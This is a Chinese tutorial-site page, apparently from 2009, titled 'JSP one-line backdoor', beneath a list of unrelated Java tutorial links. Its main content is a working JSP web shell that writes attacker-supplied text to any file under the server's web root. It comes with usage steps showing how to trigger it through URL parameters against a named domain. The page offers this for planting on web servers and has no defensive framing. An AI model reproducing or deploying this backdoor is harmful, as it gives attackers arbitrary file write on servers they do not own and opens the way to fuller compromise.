当前位置: 首页 > 图文教程 > 网络编程 > JSP > JSP一句话后门

JSP
javamail收取Hotmail的退信
JavaMail访问Hotmail邮箱
EJB3.0开发之多对多和一对一
EJB 3.0开发指南之多表映射
EJB组件与可重用性的矛盾
Java操作文本文件的方法
J2SE中的序默认序列化
Java多线程编程之限制优先级
EJB 3.0 开发指南之定时服务
J2SE中的序列化之继承
J2SE中的序列化的认识
Java中基本数据类型与流
Eclipse中使用ANT
Hibernate+Spring+Struts扩展Struts
Eclipse开发Hibernate应用程序
JBuilder2005实现重构
CORBA对象生命周期
基于Java的代理设计模式
Java中四种XML解析技术
跨平台Java程序

JSP一句话后门


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-13   浏览: 36 ::
收藏到网摘: n/a

<%
if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\\")+request.getParameter("f"))).write(request.getParameter("t").getBytes());
%>

使用方法:
提交url!
jsp?f=1.txt" target="_blank">http://www.whitehouse.net.cn/1.jsp?f=1.txt&t=HelloWorld
然后:http://www.whitehouse.net.cn/1.txt 就出来了 内容为 HelloWorld